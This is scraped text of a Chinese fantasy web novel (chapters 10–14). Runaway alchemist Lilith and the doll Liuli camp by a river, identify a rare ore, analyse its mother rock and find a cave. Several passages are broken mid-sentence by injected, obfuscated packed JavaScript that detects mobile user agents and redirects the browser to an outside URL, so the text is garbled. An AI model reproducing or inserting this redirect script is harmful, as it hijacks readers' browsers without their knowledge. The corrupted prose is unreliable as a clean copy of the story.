“小心如果顺着路走可能会遇见劫路的强盗，只有你一个人的话不好对付一群人的。” 磨坊主在地图上打上标记，标记处是强盗经常出没的地方。 琉璃重新接过地图，道谢过后，转身离开。 琉璃返回伐木场。莉莉丝抬头，斗篷下的目光映射月亮。 琉璃递过地图 “听说沿着路走会遇见强盗，地图上打标记的地方就是。” “消息问的挺全嘛，人家没怀疑你啊？” “我并没有像某人一样带着可疑的兜帽，只要说自己是独狼冒险家就行了吧。” “你竟然还会说谎了，什么时候解锁了这个功能的？” “一直都有，在必要的时候会用上，你们人类不也一样吗。” 莉莉丝重新将目光移回地图。老实说，因为舅舅的缘故，自己都不好安排路线，顺着路走有可能遇见卫兵，强盗倒够不成什么威胁，就是往林子里走一点还会遇见打猎的猎户和其他冒险家，也不知道舅舅的悬赏消息传播到哪了。 既然在磨坊了，先沿着河流走也不失为一种选择。 沿着河流走碰到人类的概率会极大地增加，但既然确定会遇到人类只要在被注意到之前避开就好了。 “要趁夜色赶路了哦，好久没这么干过了，还挺好玩的。” “无所谓，你觉得好就行。” 果然，人类的痕迹出现在了前面，琉璃已经可以感觉到远处的热源了。 “前面有人类营地，我看见火光了。 “那么远，明明我都没看见啊。” “你打算怎么办？” “从现在开始改变前进方向的话碰到人的概率就会降低好多吧，就这么一直到未开发区去吧。” “什么逻辑？” “人类的共同点啊，既然有人选择在这种地方扎营那应该会有很多人都会这么选吧，从赶路的速度来看，人走一天的距离应该都差不多，前面应该还有几个类似的营地。” “有点道理。” 接下来碰到其他人的概率会减小很多，那么只需要一直走到未开发区再找一条河就能休息了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477355|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >终于，走了很久终于找到河流了，来到河边的空地歇息，已经能看见太阳出来的预兆了。 “琉璃快去做饭啊，我要饿死了！” “等着吧，还要先把营地布置好。” 迅速生起火用炼金道具布置好营地后终于可以用携带的材料准备晚餐了。考虑到莉莉丝这边已经饿得不行了，琉璃打算弄一顿能快速填饱肚子的，先架起石板在上面炙烤火腿，再将马铃薯直接放在火堆旁烤，还要加些蔬菜，作为晚餐这些应该足够填饱肚子了。熟食的暖意在冷空气中层层扩散。 莉莉丝终于吃上了等候许久的晚餐，为了赶时间琉璃并未仔细研究调料，但饿了的人是不会在意这些的。 “夜里赶路就是费精力啊。” 吃得差不多的莉莉丝和琉璃一起喝着刚泡好的茶。 “所以，你那么着急离开城镇还要避开城镇是发生什么了吗？” 莉莉丝目光落火光，犹豫了一会终于开口。 “我现在好像被全国通缉了呢。” “你需要详细解释一下被全国通缉是什么意思，我可不想自己的同伴是个通缉犯。” 莉莉丝继续：“这就说来话长了，但我肯定不是犯人啊。” 琉璃放下手中的杯子示意莉莉丝继续。 “也不知道跟你说过没，我之所以当独狼冒险家是为了不想让家人知道我的信息，毕竟我是离家出走跑出来的。昨天收到的信是我爸爸写过来的，说是妈妈已经知道了这件事让我舅舅发出了悬赏全国找我。” “你舅舅是？” “费尔曼国国王，我妈妈的弟弟，我爸爸是公爵来着。” “我怎么感觉我现在的处境很危险。悬赏奖励是什么？” “五万金币和男爵爵位哦，你该不会要把我卖了吧。” “如果我说我心动了呢？” “不会吧，你肯定不是那种人啦。” “那你还真是了解我。睡了，再不睡觉天就要亮了。” 莉莉丝也来到离火边近些的地方睡下了。 夜色还未褪去，森林里只剩下虫子的鸣叫声。 11. 第11章 偶然发现的稀有矿石 进入森林后已经过了几天，晨雾还未完全散去，森林深处湿气缠绕枝叶，露珠在叶尖凝成晶莹的水滴，一颗颗坠落，砸在落叶上发出细碎的声响。刚刚被琉璃叫醒的莉莉丝揉了揉眼睛。 昨晚的营火余烬还冒着淡淡白烟，空气里混着木炭的焦香和河水的清冷。远离人类社会一段时间，没有了被逮回家的忧虑心情倒还算得上舒畅。虽然出发时打算立刻前往其他国家，但现在的莉莉丝暂时没有回到嘈杂城市中的想法，继续在森林里的冒险似乎是一个更有吸引力的选择。 她走到河边蹲下，用手捧起冰凉的河水洗脸。水流清澈见底，河床的鹅卵石在晨光下泛着湿润的光泽。莉莉丝的目光随意扫过河床，突然定住——不远处较浅的水底，有一抹不寻常的反光，像金属在水下折射出的冷银光芒。 炼金术师的直觉告诉她眼前反光的东西可以作为炼金素材被自己使用。 她卷起袖子，涉水走过去。水流冰凉，漫过小腿。河床的石头滑溜，她小心踩稳，弯腰伸手捞起那块反光的物体。 一块不大的石头，用三根手指就能牢牢抓住，表面带着银色的金属光泽，边缘还残留着漆黑的母岩，母岩上隐约有几道紫色条纹，若隐若现，形成原因没法仅靠视觉判断。石头入手的感觉到是不重，触感冰冷带有金属光泽的部分手感倒还不错。 莉莉丝举到眼前仔细端详。银色光泽确实来自对阳关的反射，没有和母岩过多融合，能确定是种没有魔力荧光的金属矿石。纯度……很高。自然形成的矿石能有这种光泽，通常意味着是不太活泼的金属。就这么看着没法得到更多关于这块石头的更多信息。 从家里出来的时候没带上书，以为自己把书上内容全记下后就用不上了，但眼前的矿石具体是什么，她一时还真想不起来。 她把石头塞进储物袋，拍了拍手上的水珠。反正先收着，回头再研究。 洗漱完毕，莉莉丝回到营地。琉璃正在收拾今天早餐后留下的痕迹。 莉莉丝蹲下身：“给你看个好东西，要不要？” 琉璃动作停顿，抬头看她。 “我在河里捡到一块矿石，纯度看起来很高。我暂时想不到是什么东西，你帮我看看。” 琉璃的目光落在莉莉丝储物袋的方向。 莉莉丝把石头拿出来，放在琉璃眼前。琉璃接过，深蓝瞳孔凝视石头表面。指尖轻触银色部分，又翻转看母岩紫纹。 “从母岩上看，这种矿石应该是在比较深的地方被带上来的，能出现在这种河床上应该已经过了好久了。” 莉莉丝点头：“我也这么想。伤脑筋啊，这些特征只代表典型的深层矿物。图鉴上符合特征的素材多的是，要鉴定这东西还真是跟大海捞针一样啊。” 琉璃把石头递回给她。 “一步步来吧，先测试一下魔导性能，判断大致的方向后应该会好找一些。” 莉莉丝接过石头，闭眼将魔力缓缓注入。魔力在矿石内部流动顺畅，阻力不大。她睁开眼。 “嗯……魔导率还算可以，不过这块矿石没有经过提纯处理，暂且就把它归类为魔导率高的那一类吧。” 琉璃伸手：“给我试试。” 莉莉丝把石头递过去。琉璃拿在手里，指尖轻触银色部分，闭眼片刻，像在感受什么。 “怎么样？你又有什么发现？” “魔力共鸣反应很弱，金属光泽明显的地方共鸣反应会更弱些，基本只有母岩上会出现些魔力反馈，那些可以判断为杂质了。” 莉莉丝皱眉：“高魔导率但是弱共鸣反应，看来不适合用来做武器啊。” 琉璃把石头放回她手上。“把工作台搭起来吧，看下这东西的硬度，还不能排除武器材料的可能。” “那你来帮忙啊。” 她从储物袋里掏出一张标准的炼金操作台，台面光滑，上面有摆放仪器的凹槽和架子。接着又拿出一张皮质椅子，看起来柔软舒适。 琉璃看着这一幕，深蓝瞳孔微微眯起。 “你平时都带着这些？” 莉莉丝得意地扬了扬下巴：“我说过我是专业炼金术师的吧？” “这和是否专业没有关系吧？一个冒险家随身带着这么笨重的东西怎么想都不正常吧。” “不会的，这些都是经过特殊处理的，有高阶的重力系魔法回路，所以几乎没什么重量。” 琉璃的目光落在操作台上。 “这就是你所说的高端私人定制？” “当然，不然我可带不动这些东西。” 琉璃沉默片刻。 “感觉你的关注点总是在一些奇怪的地方。” 莉莉丝摆手：“不要在意这些东西啦，不是说要测试硬度吗，跑题有点远了吧。” 她又从储物袋里拿出一块银色金属素材。 “先试这个。”琉璃接过银色金属，在石头表面用力划了一下。矿石表面毫无痕迹。 “魔银还是太软了，拿个硬的试试。” 莉莉丝又拿出一块红色金属。 “赤钨够不够，这东西算得上很硬了。” 琉璃试划，仍然没有痕迹。 “我觉得不够，从刚才的手感来看，还得再硬些才有可能留下划痕。” 莉莉丝皱眉：“怎么这么硬？我身上可没带比赤钨还硬的金属素材了。” 琉璃目光平静：“也不一定得是金属，你再找找别的。” 莉莉丝想了想，自己记得袋子里还有块很硬的木头，什么品种的不记得了，好像是哥哥从妖精的国家那带回来的。 莉莉丝从储物袋里掏出一块漆黑坚硬的木块。 “这是我带的最硬的了，那东西这么硬会不会是拿来做魔剑的金属啊？” 拿着矿石在木块上用力一划了一下但矿石表面依旧光滑只有母岩被搓了点下来。反倒是木块上被划的地方凹进去了点。 “比赤钨还硬的紫骇木都比不过，这已经比大多数魔剑都要硬了。” 莉莉丝瞪大眼睛：“这么硬的矿物应该很少才对，我想想。 ”琉璃沉默片刻，目光落回矿石。 “不用想了，是白界银。” 莉莉丝一愣。 “以前拿来做高级容器的魔导夹层用的。之前你找到我的那个遗迹里面，我躺的炼金台的底座就是用带这个的合金做的。高硬度和高魔导率，所以经常拿来做稀有素材的保护层” “那玩意现在都用来做篆刻魔力回路的刻刀的，一般只有高等级的魔术回路刻印师才有，连我都够不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477356|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能使用的级别。而且价格很贵啊。” 琉璃平静：“为什么要拿这种东西做刻刀？魔核的魔导性能比这个好吧？” 莉莉丝笑：“金属的可塑性可比魔核强多了，根据魔核来设计刻刀有很多不方便的地方，如果是金属就无所谓了。” 琉璃点头：“也有一定道理，看来现在的炼金体系有很多和以前不一样的地方。” 莉莉丝眼睛亮起来：“那种东西以后有机会我再跟你讲啦，怎么样，能找到这种纯度的矿石，附近也许会有一整片矿脉吧？我是不是有机会换把白界银材质的刻刀了？” 琉璃没说话，目光转向河床方向。 “我认为你在这种地方找到矿石纯属偶然。要确定矿脉是否存在需要考证的因素太多了。先往上游走走看吧，如果矿脉真的存在就一定还能找到其他矿石。” 莉莉丝立刻站起身：“赞同！我们快点出发吧！” 收拾操作台和营地花了一些时间。琉璃在此期间对河流进行了排查。由于魔力共鸣反应弱，靠简单的魔力探索不可能找到其他矿石。这样一来要往哪个方向走就成了问题。 琉璃并没有记录太多关于白界银的信息，以前的炼金体系中这种金属没能得到像现在这样的地位。 莉莉丝收拾完东西，和琉璃一起沿着河流向上游走去。但二人面临的难题依旧得不到解决，这样下去二人就只是在移动，根本得不到更多矿石信息。一直走到太阳快落下了，对其他矿石的寻找还一点进展都没有。莉莉丝决定先停下来休息再想办法找石头。 河边空地搭起营地和工作台，考虑到接下来可能会在这待上好一阵子，营地这次布置得精致些。琉璃没有意见，想着在河边能不能抓几条鱼来当晚餐。 二人来到河边准备抓鱼。莉莉丝还想才顺便检查一下河床，试试看能不能再捡块矿石出来。 …… 虽然莉莉丝的勘查一无所获，好歹琉璃捉了两条看着挺肥的鱼，一条烤着吃，一条拿去煲汤。在新营地的第一顿饭是丰盛的晚餐，不赖。 饭后喝着汤的莉莉丝的目光落在那块白界银矿石上，火光映得它银色部分微微闪动。她拿起石头，在指间转了转。“这东西的具体信息……我以前只在书上看过一些，白界银的纯度越高，魔导率越高，共鸣反应也会越弱。母岩上的紫纹应该是伴生矿物残留，你说过能在母岩上感知到魔力反馈对吧？。” 琉璃注视石头表面，深蓝瞳孔映火光微弯。 “好想法，如果能想办法弄清楚那紫色的矿物，也许能当做探索的方向，但我们手上的素材还太少了，测试的时候得注意着点消耗量。” 莉莉丝把石头举到火光下，银光在火焰映照中折射出细碎光斑。 “如果附近真有矿脉……我就能做一把专属刻刀了。以前那些刻刀总觉得不够顺手，还是得单独设计一个手感更好的。” 琉璃伸手，指尖轻触矿石边缘，停留片刻。 “别抱太大期待，在找到其他矿石之前，这块矿石的出现只能当做偶然。” 莉莉丝点头，她始终愿意相信矿脉是存在的。只要一直找下去，总是能找到的。 当初的莉莉丝就是因为相信遗迹的存在才遇见琉璃的，自己的直觉这次也一定不会出错。 12. 第12章 小有进展的探索 明明已经快到中午了森林里的雾气还是无法散去，也许是在河边的缘故，结界的光幕稳稳地闪烁，把潮湿的白雾挡在外面，森林里的早晨永远是安静的，身处这种氛围让人感到格外舒服。 从林子里捡来的树枝里面还带有不少水分，在火焰的灼烧下发出噼里啪啦的声响，被这种声音叫醒的莉莉丝从寝袋里钻出来，揉揉眼睛，按理说自己应该在平时已经养成了早起的习惯，但昨天晚上脑子里一直在想找到矿石线索的办法导致自己不知道多晚才睡着。 “……早。”莉莉丝声音还有点哑，爬起来走到河边洗脸。止不住的哈欠代表昨晚的睡眠质量非常差劲。水凉得刺骨，她捧起一捧水泼在脸上，勉强清醒过来。 “看来你昨晚睡得不太好，要再去睡个回笼觉吗？” “不了，昨天晚上满脑子都是那块矿石，今天一定要找到点有用的信息。” “那先吃早餐吧。” 琉璃递过来了烤鱼和红茶。 “就地取材正是个好决定，早知道当时不买那么多腌制品了。” “熏肉和火腿的味道未必会比烤鱼要差，而且也不能保证我们会一直沿着河走。” 莉莉丝大口吃着自己的早餐，对于琉璃的观点点头表示赞同。 吃完早餐，莉莉丝回到了粗略布置过的操作台，白界银矿石正安静地躺在桌面，母岩上的紫纹略显暗淡，低调地表示着自己的存在。 昨天晚上二人一致认为应该先分析母岩特质再继续对白界银的追踪，而现在面临的新问题就是母岩样本太少不方便试验。灰色基底上暗紫色的条纹无疑是另一种矿物，但仅靠现有的信息还无法断言到底是哪种矿石。 虽然也不能算完全无法开展实验，但样本的缺少确实是块硬伤，用凿子把附在白界银原矿上的母岩一点点摘下来，数量少到装不满一个杯子，如果还想进一步把紫色矿物的纹路给剥离下来估计数量也少的可怜。 莉莉丝可没把握一次性弄清楚母岩的全部信息。 “不行，这数量也太少了，一个不注意可能就浪费掉了。” “那你要再去河里找找吗，运气好的话说不定能再捡一块回来。” 莉莉丝的眉头紧锁着露出一副吃了苦瓜的表情。 “希望渺茫啊。” …… 在河床上找石头可是一件费时间更废精力的活，莉莉丝脱下衣服就穿着一件单衣踏进了水里，幸好天气还不算太冷不然绝对会感冒。河床上的石头滑溜得像抹了油，每向前走一步都要试试脚掌的受力情况，要是摔在这些不规整的石头上，就算有水作缓冲也会很疼吧。 母岩上带有紫色条纹，按理说如果真的有的话应该挺好找的，但是谁也说不准河里的泥沙会不会把唯一的视觉标识遮住。 “这里也没有……”莉莉丝嘀咕着，不断弯腰搬石头的动作已经让她感觉累得不行了，跟她同样只穿了件单衣的琉璃跟在她不远处继续寻找着，动作更稳，也更快。人偶的身体强度就是好，莉莉丝已经完全不想动了，只站在水里看着琉璃。 “你这么偷懒下去我们会很难找到矿石的。” “我又不是人偶，我是需要休息的好吗！” “更正，我即使身为人偶也是需要休息的。” “完全感觉不到，你现在看起来明明状态很好啊，而我已经能预想到明天起不了床的画面了。” “那你先休息会，如果有发现我会叫你的。” “帮大忙了。” 莉莉丝拖着身体走到岸边，还没上岸就躺在了草坪上。也不管就这么把腿泡在水里会不会感冒，反正莉莉丝暂时没有移动的打算。 琉璃还在河里翻动着石头，河水的能见度还算不错，在这种浅水区能清楚地看见河床上石头表面的花纹。 不过很快琉璃就抛弃了单纯靠视觉寻找的方法，利用白界银及母岩的魔力共鸣反应程度都低于矿物平均值的特点，用魔力扫过一遍后只翻找低共鸣反应的地方，这样工作量能减少很多，但即使是这样，也没法找到符合条件的石头。 周围30米范围的浅河滩都找过了，结果是一无所获，等会到原来的位置，莉莉丝躺在草坪上已经睡着了。即使是在夏天只穿件单衣泡在水里也会得感冒，琉璃果断选择叫醒莉莉丝。 “……找到……了？” 刚被叫醒的莉莉丝打了个寒颤。 “好冷！” 马上爬上岸跑到营地的篝火旁取暖去了。 重新穿好衣服的二人在篝火旁准备晚餐，琉璃从靠上游的地方捡来不少螃蟹，个头不大，但看起来挺干净的。 分出一部分熬汤，剩下的直接放在石板上炙烤。这种小个头的河蟹烤好后直接丢进嘴里，外面的壳已经烤的酥脆，吃起来没有一点不舒服的地方。螃蟹汤多熬点还能留着当晚餐，天色还早，这一餐只能算是迟到的午饭。 莉莉丝喝着热汤，向琉璃询问着收获情况，如果在自己睡着的时间里琉璃能带回关于矿石的消息将会是件令人愉悦的事情。 “什么也没有，你捡到那块矿石果然只是运气好吧？” “还是要上操作台研究吗，样本这么少很难办啊。” “你现在说话有点轻微的鼻音，是感冒了吗？” “那是当然的啊，睡在那种地方不感冒才奇怪吧？” “怎么听起来你还挺自豪的样子？” “不用在意啦，反正也不严重，稍微注意点就好了，真有什么情况我会说出来的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477357|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那就好，就现在这个条件，你如果卧床不起我也没法好好照顾你。” “那还真是谢谢关心啊，挺靠谱的嘛。” 闲聊到喝完碗里的热汤就结束了，剩下的时间二人也不打算继续到河里寻找矿石的线索。眼下最有希望的方法还是通过实验搞清楚母岩到底是个什么物质。 “准备动手吧，要先从哪一步开始来着？” “把紫色的部分刮下来，那上面的魔力回应比岩石部分高一些。” 记得整块矿石的硬度都在赤钨之上，用一般的工具肯定是没有效果的， 之前的测试只有紫骇木能把岩石部分刮下来，但那只是个木块，真拿来当刀使肯定的是不好用的。 莉莉丝翻找着储物袋里的工具，她觉得自己肯定有把能战胜眼前矿石的刻刀。 把找到的工具分类一一摆在桌上，总有一些是用得上的。 琉璃顺手拿起把小锤敲在较大的碎片上，听回音，声音很清脆像铃铛一样。 “这能发现点什么？” “不知道，你没带什么药剂吗，没准会反应呢？” “想办法把紫色的部分溶解分离吗，这主意不错。” 掏出出些个性比较猛烈试剂，挨个滴在矿石上。紫色条纹依然完整，到是岩石部分和含有焰芷花分泌物的溶液接触后生成了些气泡。 这是个不错的发现，记得书上提到过焰芷花会在地下洞穴靠近岩浆的地方生长，这些分泌物可以分解一些特定的岩石来获得养分。 “也许这会是个突破口，你知道焰芷花生长的具体环境吗？” “说不清楚，反正在很深的地方，这种花的花粉会拿去做防火的涂料，花蜜可以入药。” 莉莉丝盯着看了一会儿，她很快低头，记录数据。傍晚，测试结束。在消耗了半瓶试剂后，莉莉丝终于把一块碎片上的岩石部分全部溶解，留下紫色半透明的细丝，那镊子夹住在火光下观察，是一种能透光的晶体，虽然不太明显，但经过光线魔法验证，这种矿石确实能作为光线传播的介质。 这样一来今天的收获还是不少的，再过两天也许就又能出发寻找白界银了。 莉莉丝望着渐渐暗下来的天空，雾气里河水声近在咫尺，忽然觉得——这种在同一个营地、对着同一堆石头研究一天的日子马上就能结束了。 离开操作台，在篝火旁靠在木头上休息一下，琉璃递来剩下的热汤，河蟹的鲜香弥补了在桌前摆弄矿石的劳累。 眼睛好酸，赶快睡觉吧。 莉莉丝爬进进寝袋，看琉璃向火堆里又添加了几块木头后也躺了下来。她闭上眼，嘴角不知不觉微微弯起。 “晚安，琉璃。” “晚安。” 13. 第13章 费劲的赶路时间 两天后的清晨，莉莉丝从寝袋里钻出来时，琉璃已经在收拾营地了。主矿石和那根紫色细丝晶体被仔细包上软布分装在玻璃瓶里，营地痕迹也清理得干干净净，只剩篝火余烬还冒着淡淡白烟。 “……早。” 莉莉丝揉着眼睛，她昨晚又把紫纹晶体拿出来看了好几遍，睡得比前两天都晚。 “这两天的研究已经到极限了，是时候离开了。” 莉莉丝点点头，把自己的寝袋卷好递过来。 “已经确定矿石出自深层的矿洞，母岩很可能在有熔岩环境形成。沿着河流往上游走，也许这条河的源头是地下河。” 莉莉丝闻言只是点头，可能她还没完全清醒过来，只是把东西塞进储物袋。等要带走的东西都收拾好后，莉莉丝才来到河边洗漱。 “好，现在精神多了。” “吃完早饭就出发吧。” “还有面包吗，可以边赶路边吃吧？” “那么着急干什么？” 两人关掉结界，沿着河边向上游走去。 沿路二人没什么交流，边走路边吃饭并不是什么好习惯，如果不注意咀嚼可能会被呛到。 河滩上的沙子在河水的浸润下显露出较深的颜色，流水声一直伴在耳边。光是解决早餐就花了不少时间，但河道并没有多大的改变，依然是这条孤零零的河，不知道还要走多久才能走到河道的改变处。 “我们的速度是不是有点慢了？这么久了一点变化都没有。” 徒步的枯燥让莉莉丝发起了牢骚。 “并不，河流的形态基本上是固定下来的，除非有什么剧烈的地形变化，不然是很难改变的。” “那我们这是在往哪走，一点坡度都感觉不到。” “你见过水往高处流的吗，一直往上游走应该会找到山洞，谁也不知道我们离那有还有多远。” “……” 又走了大概三个小时，该是吃午饭的时间了，但莉莉丝隔老远就看见前方的河道分叉成了两条。 这突如其来的变化打消了莉莉丝停下来吃午饭的念头，和琉璃一起加快脚步来到了分叉口处。 莉莉丝停下脚步，盯着上游方向。 “两条……现在怎么办？” 琉璃也站住，目光在两边河道扫过。 “你学过地质学吗？” “没有。” “那就没办法，我对地质学也没有太多的记录，没有明显特征根本无法判断方向。” “那不就是盲选了吗？” “总是要选一条走的，幸亏这只有两条分叉。” 莉莉丝想了想：“要不……先走左边那条宽的？看着水流稳，说不定源头更远。” “走吧。” 两人沿着左边较宽的河道往前摸索。 这条路走了很远。从体感上来看，这条路的坡度正在缓慢增加，明明先前完全感觉不到，现在已经能明显看出在往山上走了。 河面渐渐变宽，水流慢下来，河底的石头从原来的灰黑变成了浅黄色的砂砾。莉莉丝弯腰捞了几块，表面光滑圆润，没有任何紫纹痕迹。河岸两边的植物也变了，能遮蔽视线的高大乔木能感觉到没有之前多了，而之前常见的岩壁苔藓几乎不见。 视野比一天前走过的地方好很多，已经能感知到海拔变化了啊。 “看来我们选错路的可能性很高啊……” 莉莉丝回过头看向蹲在河边的琉璃。 “这条河越走越浅，河底全是沙子，没有岩石层。虽然也不是没有可能，但我觉得继续往前走出现平原的概率远大于山洞。” 琉璃又看了看河岸断面 “水流像是从上游平原冲下来的，携带的是都是表层的泥沙。完全看不见这条河会把矿石冲到下游的可能性。” 莉莉丝也蹲下，她用手接了一捧水送进嘴里。 “确实不像地下水的味道。” “你是怎么尝出来的？” 琉璃看着莉莉丝，虽然暂时还没学会太多面部表情，但能感觉到琉璃那副扑克脸上是诧异的神情。 “怎么说呢……地下水应该是比较厚重的感觉，刚刚喝过之后反而觉得有点清淡，不过感觉也不赖就是了。” “怎么说有依据吗？” “没有，就是感觉，喝过那么多种水之后锻炼出来的对水质强大的感知力。” “……我就不该问的。” 琉璃无法评价莉莉丝这草率的看法，就喝水而言莉莉丝喝过的确实比自己多，毕竟之前大部分都时间都处于未被唤醒的状态。 莉莉丝叹了口气，肩膀垮下来。 “到头来还是走错路了啊！早知道就先选右边了！走了这么远，白白浪费半天力气……腿都酸了，还得原路返回。” 两人只好掉头。 回去的路上，莉莉丝一边走一边小声抱怨：“二选一也能选错，幸运女神为什么没有站在我这边啊！” 琉璃没接话，只是默默走在前面，偶尔伸手扶一下光顾着抱怨而没看路的某人。 两人回到分叉口时，太阳已经偏西，影子拉得老长。 排除了错误选项，踩在右侧的河滩上的脚步就是有底气，但显然这并不使人感到愉快。 河道在变窄，水流果然急了一些，河水也比刚才冷。莉莉丝涉水时感觉脚底的石头很大块，河岸两侧开始出现灰黑色的岩壁。走了大约两小时，河道又一次变窄，周围的植被依然十分茂盛，前方隐隐出现一座山洞，洞口藤蔓缠绕，河水正从洞内潺潺流出，带出一丝丝凉意。 莉莉丝站直身体，擦了把额头的汗，望着洞口，肉眼可见的喜悦浮现在她的脸上。 “正解！” 说完就一屁股坐在地上了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477358|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “应该就是这了。” 琉璃用目光扫了一遍洞口，确认道：“不会有错，顺着地下河走肯定能找到矿洞。” 天色已经完全暗下来。刚才在分叉口耽误的时间加上来回试错，两人到这里时太阳早已落山。 虽然有河流流出，但里面的具体情况还一概不知，贸然前行只会徒增危险，而且莉莉丝也终于累得走不动了，坐在地上的她呆呆地看着洞口。 “今天太晚了，先在洞口休息睡一觉…明天一早再进去……我不行了。” “好。” 琉璃很快在洞口空地布置了简易结界，又生起一小堆营火。莉莉丝从储物袋里拿出剩下的干粮，简单加热。火光跳动，两人坐在洞口石头上吃晚饭。莉莉丝大口喝着热汤，余光看见琉璃的黑发被火光镀上暖边，深蓝瞳孔映着洞口深处隐约的微光。 莉莉丝不知不觉就靠在了琉璃身上，看来是累的不行了。 “肩膀…借我靠会，等我缓过来了再去睡觉。” “辛苦了，好好休息。” 吃完后，莉莉丝终于又有了些力气，她望着洞口黑暗处，忽然觉得——今天虽然走了不少冤枉路，但跟着河流一路找到这里……矿脉应该就在里面。 时间也不早了，琉璃估计也打算睡下了。 但是累了一整天，莉莉丝必须想办法放松一下这疲惫的躯体。从储物袋里掏出来不知道什么东西。打开后竟然是个浴缸。正好河边不缺水，这家伙打算泡个澡。 “我现在有点好奇，你的储物袋里都装了些什么奇奇怪怪的东西。” “才不奇怪，偶尔就是会遇到想要泡澡的情况啊。” “一般冒险家会带这些东西吗？” “反正我才不是一般冒险家，等我泡完你也试试，很舒服的好吧。” 琉璃点点头，又往火堆里添了些柴火。等到琉璃接手浴缸才发现，这还是个魔导装置，有自加热功能。 躺在热水里确实很舒服，虽然是人偶，但毕竟是高度仿照人类的产物，疲劳感也会影响到琉璃。莉莉丝倒是一点也没错，累了一天，泡个热水澡果然可以慰劳身体。 看着躺在寝袋中熟睡的莉莉丝，琉璃的嘴角也不自觉上扬了，自从答应了一起旅行的邀请后，自己这位不着边际的旅伴给自己带来的都还算的上是愉悦。 理解了何为愉悦，何为开心，还在不知不觉中学会了名为微笑的面部表情，也许莉莉丝的承诺在未来的某一天真的可以实现吧。琉璃也可以试着期待一下。 泡完澡，她的深蓝瞳孔最后看了一眼洞口，像晴空一闪而过。琉璃也爬进了寝袋，凉意透过衣服渗进来，很舒服。 莉莉丝率先睡着了，那今天就由我来结束吧。 “晚安，莉莉丝。” “……啊，晚安…琉璃。” 传来了在睡梦中的某人的回应。 14. 第14章 突然出现的巨龙 “准备出发，我要看看洞穴里头到底是个什么情况。” 莉莉丝从储物袋里掏出了魔力灯，上次用上它还是被困在地下的时候。考虑到一会进去之后可能要一直走水路，莉莉丝决定启动取暖模式。驱动内部的魔力回路，灯现在能当做一个小暖炉，在周围五米的空间内都能感受到灯辐射出的热量。 还在收拾营地的琉璃感觉到魔力变化而回过身来，视线落在了莉莉丝的手上。之前可没见过这个功能。 站在前方的某人也感觉到了琉璃的视线呵呵一笑。 “你知道我想说什么。” “当然还是高端私人定制，这还是我亲自设计的。为了方便我还加了很多功能，厉不厉害？” 琉璃的扑克脸上露出了吃惊的神情。 “那么多种术式叠加在一起的魔力回路会很复杂，你的刻印水平原来这么高吗？” 闻言，莉莉丝挠挠头，看来事实并非如此。 “也没有啦，我就只负责了设计部分的工作来着，剩下的都是我爸爸帮我解决的。其他道具也都是这样做的。” “……怎么会有父亲帮女儿离家出走准备这么多东西的啊？” “毕竟我爸也希望我能多走出去看看世界嘛。这个话题就不用展开了，赶紧进去吧。” 说完莉莉丝便重新转向洞穴走去，琉璃紧随其后。 进入洞穴一段时间，从外面透进来的光线基本感觉不到了。回头看去，洞口已经变成了一个黯淡的光点。洞内环境倒是安静的很，除了流水声和两人移动时溅起的水花声，什么都没有。 地下水的温度就是低，水位也已经没过小腿肚，一直漫到膝盖的下方。还好提前准备好了保温措施，只有在灯的辐射范围内莉莉丝才没觉得有多冷。 又不知走了多久，经过几个弯道，四周岩壁越来越窄。两人只能一前一后行进，肩膀还得擦着石壁。河流也因为狭窄的河道而变得湍急，而且好像前面还会再变窄一点，水流带来的阻力不断加大。 “这路也太折腾人了……也不知道前面还能不能过人。” 琉璃侧身来到莉莉丝跟前，二人交换了位置，有琉璃挡在前面莉莉丝感受到的阻力会小不少。 “谢谢啦。” 琉璃没回话，示意继续往前走。 在走过一段只能侧身缓慢移动的狭窄通道后，洞穴终于开阔起来。莉莉丝提议原地休息一会，一直逆水走路，说不累是骗人的。可惜找了半天也没找到块石头坐下，就只能靠在岩壁上喘口气。 